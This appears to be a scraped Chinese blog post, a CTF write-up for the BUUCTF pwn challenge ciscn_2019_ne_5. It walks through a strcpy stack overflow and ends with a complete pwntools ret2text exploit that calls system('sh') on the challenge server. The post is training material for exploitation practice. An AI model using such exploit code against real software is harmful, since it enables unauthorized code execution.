当前位置: 首页 > news >正文

PWN手的成长之路-18-ciscn_2019_ne_5-rettext

image

file,checksec:
image

查看 main 函数,发现了有一个 get_flag 函数。
image

查看 get_flag 函数,发现存在溢出。strcpy 函数会复制 src 的数据并赋值给 dest ,这里会造成溢出。
image

且溢出大小为:0x48 + 4 (加 4 是因为此程序是 32 位的)
image

并且在 print 函数中发现了 system 函数。
image

之后尝试查找字符串 /bin/sh,并没有,但是找到了 sh。
image

exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',29109)
elf = ELF('./pwn')
context.log_level = 'debug'#params
sh_addr = 0x80482EA
#system_addr = 0x80484D0
system_addr = elf.sym['system']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
r.sendlineafter(b'password','administrator')
r.sendlineafter(b':',b'1')
r.sendline(payload)
r.sendline(b'4')
r.interactive()
http://www.jsqmd.com/news/14998/

相关文章:

  • 技术人不用当“兼职运营”:2025微信编辑器实用指南,让产品更新日志/API教程产出效率提升3倍
  • 站位1
  • ubuntu2204系统ip地址配置
  • 10.16 —— 2021ccpc桂林D,B
  • 3.springboot-容器机制-@注解
  • 苹果M5芯片正式登场 一文带你了解三款新品有何升级
  • 日志分析-windows日志分析base
  • 2025/10/16 模拟赛笔记 - sb
  • 神经网络之Softmax激活函数求导过程 - 指南
  • 课后作业3
  • experiment2
  • 索引有什么作用?
  • 关于卷积神经网络(CNN)的入门学习报告
  • 【记录】Ubuntu|Ubuntu服务器挂载新的硬盘的流程(开机自动挂载) - 指南
  • 10月16日日记
  • mongoDB体验
  • 云服务器上部署 EasyTier中转服务器
  • 问世界
  • 为 .NET 10 GC(DATAS)做准备
  • 实用指南:Kotlin协程 vs Java虚拟线程:从Continuation挂起到ForkJoin调度,解锁现代并发新范式
  • LLM学习记录DAY3
  • 你的程序为何卡顿?从LINUX I/O三大模式寻找答案
  • 黄景行电脑软件
  • 开源许可协议 gpl vs mit?
  • 二进制警报器
  • 题解:P8019 [ONTAK2015] OR-XOR
  • DP 思维好题(转载)
  • 万字长文详述单据引擎原理、流程、单据管理 - 智慧园区
  • 常见问题处理 --- win卡任务栏 设置无法打开 桌面重启
  • python sse的是什么?